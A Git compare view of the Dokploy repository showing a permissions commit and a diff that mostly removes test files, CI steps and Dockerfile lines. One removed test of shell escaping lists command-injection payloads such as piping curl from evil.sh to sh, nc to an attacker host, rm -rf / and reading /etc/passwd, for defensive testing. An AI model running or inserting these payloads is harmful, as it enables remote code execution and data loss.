Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu
81adbcb8f9 fix: allow members with git providers permission to create and delete their own
The canAccessToGitProviders legacy override only granted read access, so
members with the Git Providers toggle enabled could not add providers — the
create/delete endpoints require gitProviders.create / gitProviders.delete.
This mirrors how the SSH Keys toggle already grants read/create/delete.

The git-provider remove endpoint now restricts non owner/admin roles to
deleting only their own providers (matching the ownership model used for
visibility and sharing), while owner/admin can still delete any provider in
the organization.

Closes #4695
2026-06-30 15:56:13 -06:00
229 changed files with 3360 additions and 21166 deletions

View File

@@ -152,14 +152,6 @@ jobs:
VERSION=$(node -p "require('./apps/dokploy/package.json').version") VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release - name: Create Release
uses: softprops/action-gh-release@v2 uses: softprops/action-gh-release@v2
with: with:
@@ -168,7 +160,6 @@ jobs:
generate_release_notes: true generate_release_notes: true
draft: false draft: false
prerelease: false prerelease: false
files: install.sh
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@@ -69,5 +69,4 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \ HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1 CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS) CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]

View File

@@ -1,26 +0,0 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});

View File

@@ -1,50 +0,0 @@
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});

View File

@@ -42,39 +42,6 @@ test("Add suffix to volumes declared directly in services", () => {
); );
}); });
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = ` const composeFileTypeVolume = `
version: "3.8" version: "3.8"

View File

@@ -1,323 +0,0 @@
import type { NextApiRequest, NextApiResponse } from "next";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
eq: vi.fn((field: string, value: unknown) => ({ field, value })),
and: vi.fn((...conditions: Array<{ field: string; value: unknown }>) => ({
conditions,
})),
githubFindFirst: vi.fn(),
applicationsFindMany: vi.fn(),
composeFindMany: vi.fn(),
queueAdd: vi.fn(),
verify: vi.fn(),
shouldDeploy: vi.fn(),
}));
vi.mock("drizzle-orm", () => ({
eq: mocks.eq,
and: mocks.and,
}));
vi.mock("@/server/db/schema", () => ({
applications: {
sourceType: "application.sourceType",
autoDeploy: "application.autoDeploy",
triggerType: "application.triggerType",
branch: "application.branch",
repository: "application.repository",
owner: "application.owner",
githubId: "application.githubId",
isPreviewDeploymentsActive: "application.isPreviewDeploymentsActive",
},
compose: {
sourceType: "compose.sourceType",
autoDeploy: "compose.autoDeploy",
triggerType: "compose.triggerType",
branch: "compose.branch",
repository: "compose.repository",
owner: "compose.owner",
githubId: "compose.githubId",
},
github: {
githubInstallationId: "github.githubInstallationId",
},
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
github: {
findFirst: mocks.githubFindFirst,
},
applications: {
findMany: mocks.applicationsFindMany,
},
compose: {
findMany: mocks.composeFindMany,
},
},
},
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
shouldDeploy: mocks.shouldDeploy,
checkUserRepositoryPermissions: vi.fn(),
createPreviewDeployment: vi.fn(),
createSecurityBlockedComment: vi.fn(),
findGithubById: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
findPreviewDeploymentsByPullRequestId: vi.fn(),
getBitbucketHeaders: vi.fn(() => ({})),
removePreviewDeployment: vi.fn(),
}));
vi.mock("@octokit/webhooks", () => ({
Webhooks: vi.fn().mockImplementation(function Webhooks() {
return {
verify: mocks.verify,
};
}),
}));
vi.mock("@/server/queues/queueSetup", () => ({
myQueue: {
add: mocks.queueAdd,
},
}));
vi.mock("@/server/utils/deploy", () => ({
deploy: vi.fn(),
}));
import handler from "@/pages/api/deploy/github";
const getConditionValue = (
where: { conditions?: Array<{ field: string; value: unknown }> } | undefined,
field: string,
) => where?.conditions?.find((condition) => condition.field === field)?.value;
const createResponse = () => {
const res = {
status: vi.fn(),
json: vi.fn(),
} as unknown as NextApiResponse & {
status: ReturnType<typeof vi.fn>;
json: ReturnType<typeof vi.fn>;
};
res.status.mockImplementation(() => res);
res.json.mockImplementation(() => res);
return res;
};
const createPushRequest = (
branch: string,
owner: { login?: string; name?: string } = { login: "agentHits" },
) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "push",
},
body: {
installation: {
id: 12345,
},
ref: `refs/heads/${branch}`,
after: "abc123",
head_commit: {
message: "fix: trigger deployment",
},
commits: [
{
modified: ["src/index.ts"],
},
],
repository: {
name: "dokploy",
full_name: "agentHits/dokploy",
clone_url: "https://github.com/agentHits/dokploy.git",
html_url: "https://github.com/agentHits/dokploy",
owner,
},
},
}) as unknown as NextApiRequest;
const createTagRequest = (tagName: string) => {
const req = createPushRequest("main") as unknown as {
body: { ref: string; head_commit: { message: string } };
};
req.body.ref = `refs/tags/${tagName}`;
req.body.head_commit.message = `release: ${tagName}`;
return req as unknown as NextApiRequest;
};
describe("GitHub app webhook auto-deploy", () => {
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.shouldDeploy.mockReturnValue(true);
mocks.composeFindMany.mockResolvedValue([]);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "push" &&
getConditionValue(where, "application.branch") === "main" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
});
it("matches push events using repository owner name when available", async () => {
const res = createResponse();
await handler(
createPushRequest("main", {
login: "agentHits-login",
name: "agentHits",
}),
res,
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches compose push events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockResolvedValue([]);
mocks.composeFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "compose.sourceType") === "github" &&
getConditionValue(where, "compose.autoDeploy") === true &&
getConditionValue(where, "compose.triggerType") === "push" &&
getConditionValue(where, "compose.branch") === "main" &&
getConditionValue(where, "compose.repository") === "dokploy" &&
getConditionValue(where, "compose.owner") === "agentHits" &&
getConditionValue(where, "compose.githubId") === "github-provider-id";
return Promise.resolve(
matches
? [
{
composeId: "compose-id",
serverId: null,
watchPaths: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createPushRequest("main"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationType: "compose",
composeId: "compose-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
});
it("matches tag events using repository owner login fallback", async () => {
mocks.applicationsFindMany.mockImplementation(({ where }) => {
const matches =
getConditionValue(where, "application.sourceType") === "github" &&
getConditionValue(where, "application.autoDeploy") === true &&
getConditionValue(where, "application.triggerType") === "tag" &&
getConditionValue(where, "application.repository") === "dokploy" &&
getConditionValue(where, "application.owner") === "agentHits" &&
getConditionValue(where, "application.githubId") ===
"github-provider-id";
return Promise.resolve(
matches
? [
{
applicationId: "application-id",
serverId: null,
},
]
: [],
);
});
const res = createResponse();
await handler(createTagRequest("v1.0.0"), res);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application",
titleLog: "Tag created: v1.0.0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({
message: "Deployed 1 apps based on tag v1.0.0",
});
});
it("does not deploy when the pushed branch does not match", async () => {
const res = createResponse();
await handler(createPushRequest("feature"), res);
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
});
});

View File

@@ -1,93 +0,0 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});

View File

@@ -1,87 +0,0 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -1,8 +1,8 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { import {
canEditDeployGitSource, canEditDeployGitSource,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
} from "@dokploy/server/services/git-provider"; } from "@dokploy/server/services/git-provider";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockDb = vi.hoisted(() => ({ const mockDb = vi.hoisted(() => ({
query: { query: {

View File

@@ -1,11 +1,16 @@
import { beforeEach, describe, expect, it, vi } from "vitest"; import { beforeEach, describe, expect, it, vi } from "vitest";
const hasValidLicense = vi.fn();
const getWebServerSettings = vi.fn(); const getWebServerSettings = vi.fn();
const findFirstOrg = vi.fn();
const findFirstServer = vi.fn(); const findFirstServer = vi.fn();
vi.mock("@dokploy/server/db", () => ({ vi.mock("@dokploy/server/db", () => ({
db: { db: {
query: { query: {
organization: {
findFirst: (...args: unknown[]) => findFirstOrg(...args),
},
server: { server: {
findFirst: (...args: unknown[]) => findFirstServer(...args), findFirst: (...args: unknown[]) => findFirstServer(...args),
}, },
@@ -14,56 +19,91 @@ vi.mock("@dokploy/server/db", () => ({
})); }));
vi.mock("@dokploy/server/db/schema", () => ({ vi.mock("@dokploy/server/db/schema", () => ({
organization: {},
server: {}, server: {},
})); }));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({ vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args), getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
})); }));
vi.mock("drizzle-orm", () => ({ eq: vi.fn() })); vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
import { resolveBuildsConcurrency } from "../../server/queues/concurrency"; import {
assertBuildsConcurrencyAllowed,
resolveBuildsConcurrency,
} from "../../server/queues/concurrency";
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue"; import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
describe("resolveBuildsConcurrency", () => { describe("resolveBuildsConcurrency (enterprise gating)", () => {
beforeEach(() => { beforeEach(() => {
vi.clearAllMocks(); vi.clearAllMocks();
findFirstOrg.mockResolvedValue({ id: "org-1" });
}); });
describe("local web server partition", () => { describe("local web server partition", () => {
it("returns the configured concurrency", async () => { it("returns the configured concurrency when licensed", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 }); getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5); await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
}); });
it("does not cap high values", async () => { it("clamps to the free max (2) when there is no valid license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("allows the free max (2) without a license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("does not cap the value when licensed (N allowed)", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 }); getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe( await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
999, 999,
); );
}); });
it("floors values below 1 to 1", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
it("defaults to 1 when settings are missing", async () => { it("defaults to 1 when settings are missing", async () => {
getWebServerSettings.mockResolvedValue(undefined); getWebServerSettings.mockResolvedValue(undefined);
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1); await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
}); });
}); });
describe("remote server partition", () => { describe("remote server partition", () => {
it("returns the server concurrency", async () => { it("returns the server concurrency when its org is licensed", async () => {
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 }); findFirstServer.mockResolvedValue({
buildsConcurrency: 4,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4); await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
});
it("clamps to the free max (2) when the server org is not licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 8,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
}); });
it("defaults to 1 for an unknown server", async () => { it("defaults to 1 for an unknown server", async () => {
@@ -79,3 +119,30 @@ describe("resolveBuildsConcurrency", () => {
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1); await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
}); });
}); });
describe("assertBuildsConcurrencyAllowed", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("allows up to the free max (2) without checking the license", async () => {
await expect(
assertBuildsConcurrencyAllowed(2, "org-1"),
).resolves.toBeUndefined();
expect(hasValidLicense).not.toHaveBeenCalled();
});
it("allows more than 2 when licensed", async () => {
hasValidLicense.mockResolvedValue(true);
await expect(
assertBuildsConcurrencyAllowed(5, "org-1"),
).resolves.toBeUndefined();
});
it("rejects more than 2 without a license", async () => {
hasValidLicense.mockResolvedValue(false);
await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
/enterprise license/i,
);
});
});

View File

@@ -1,75 +0,0 @@
import { apiCreateRegistry, apiTestRegistry } from "@dokploy/server/db/schema";
import { describe, expect, it } from "vitest";
describe("Registry Schema - Username case preservation (#4632)", () => {
const validBase = {
registryName: "AWS ECR",
password: "dXNlcm5hbWU6cGFzc3dvcmQ=", // dummy base64 token
registryUrl: "123456789.dkr.ecr.us-east-1.amazonaws.com",
registryType: "cloud" as const,
imagePrefix: null,
};
it("should preserve uppercase username (AWS ECR requires 'AWS')", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "AWS",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should not lowercase mixed-case usernames", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "MyUser",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("MyUser");
}
});
it("should still trim whitespace from username", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: " AWS ",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should reject empty username", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "",
});
expect(result.success).toBe(false);
});
it("should also preserve case in apiTestRegistry", () => {
const result = apiTestRegistry.safeParse({
...validBase,
username: "AWS",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("AWS");
}
});
it("should accept lowercase usernames too (backward compat)", () => {
const result = apiCreateRegistry.safeParse({
...validBase,
username: "myuser",
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.username).toBe("myuser");
}
});
});

View File

@@ -1,98 +0,0 @@
import { execFileSync, execSync } from "node:child_process";
import { chmodSync, mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { defaultCommand, reportDockerVersion } from "@dokploy/server";
import { describe, expect, it } from "vitest";
const resolveBin = (name: string) =>
execSync(`command -v ${name}`, { encoding: "utf8" }).trim();
/**
* Build a sandbox PATH so `command -v docker` only sees our fake docker
* binary (or nothing), regardless of what the host has installed.
*/
const makeSandbox = (dockerShim?: string) => {
const dir = mkdtempSync(path.join(tmpdir(), "dokploy-server-setup-"));
for (const tool of ["awk", "tr"]) {
const shim = path.join(dir, tool);
writeFileSync(shim, `#!/bin/sh\nexec ${resolveBin(tool)} "$@"\n`);
chmodSync(shim, 0o755);
}
if (dockerShim) {
const shim = path.join(dir, "docker");
writeFileSync(shim, dockerShim);
chmodSync(shim, 0o755);
}
return dir;
};
const runReport = (sandboxPath: string) => {
const script = [
"DOCKER_VERSION=28.5.0",
reportDockerVersion(),
'echo "$DOCKER_VERSION_REPORT"',
].join("\n");
return execFileSync(resolveBin("bash"), ["-c", script], {
encoding: "utf8",
env: { ...process.env, PATH: sandboxPath },
})
.trim()
.split("\n")
.pop();
};
describe("reportDockerVersion", () => {
it("reports the engine version when docker and its daemon are available", () => {
const sandbox = makeSandbox(
[
"#!/bin/sh",
'if [ "$1" = "--version" ]; then',
' echo "Docker version 25.0.0, build aaaaaaa"',
" exit 0",
"fi",
'if [ "$1" = "version" ]; then',
' echo "29.4.3"',
" exit 0",
"fi",
"exit 1",
].join("\n"),
);
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
});
it("falls back to the client version when the daemon is unreachable", () => {
const sandbox = makeSandbox(
[
"#!/bin/sh",
'if [ "$1" = "--version" ]; then',
' echo "Docker version 29.4.3, build 055a478"',
" exit 0",
"fi",
'echo "Cannot connect to the Docker daemon" >&2',
"exit 1",
].join("\n"),
);
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
});
it("reports the pinned version to be installed when docker is missing", () => {
expect(runReport(makeSandbox())).toBe("28.5.0 (will be installed)");
});
});
describe("defaultCommand", () => {
it.each([false, true])(
"prints the detected Docker version in the setup banner (isBuildServer=%s)",
(isBuildServer) => {
const script = defaultCommand(isBuildServer);
expect(script).toContain(reportDockerVersion());
expect(script).toContain(
'echo "| Docker | $DOCKER_VERSION_REPORT"',
);
expect(script).not.toContain(
'echo "| Docker | $DOCKER_VERSION"',
);
},
);
});

View File

@@ -1,46 +0,0 @@
import { VALID_HOSTNAME_REGEX } from "@dokploy/server";
import { describe, expect, it } from "vitest";
describe("VALID_HOSTNAME_REGEX", () => {
it.each([
"example.com",
"sub.example.com",
"bbn-client.example.com",
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
it.each([
"bbn_client.example.com",
"-example.com",
"example-.com",
"example",
"exa mple.com",
"example..com",
"",
`a${"a".repeat(63)}.com`,
])("rejects invalid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
});
// IDNs (Cyrillic, German umlauts, etc.) must be submitted in their
// ACME/punycode form ("xn--...") — that's what Let's Encrypt issues
// certificates for, so raw Unicode labels are rejected here.
it.each(["пример.рф", "bücher.de", "日本語.jp"])(
"rejects raw unicode IDN %s",
(host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
},
);
it.each([
"xn--e1afmkfd.xn--p1ai", // punycode for пример.рф
"xn--bcher-kva.de", // punycode for bücher.de
"xn--wgv71a119e.jp", // punycode for 日本語.jp
])("accepts punycode-encoded IDN %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
});

View File

@@ -1,7 +1,3 @@
import {
INVALID_HOSTNAME_MESSAGE,
VALID_HOSTNAME_REGEX,
} from "@dokploy/server/utils/hostname-validation";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
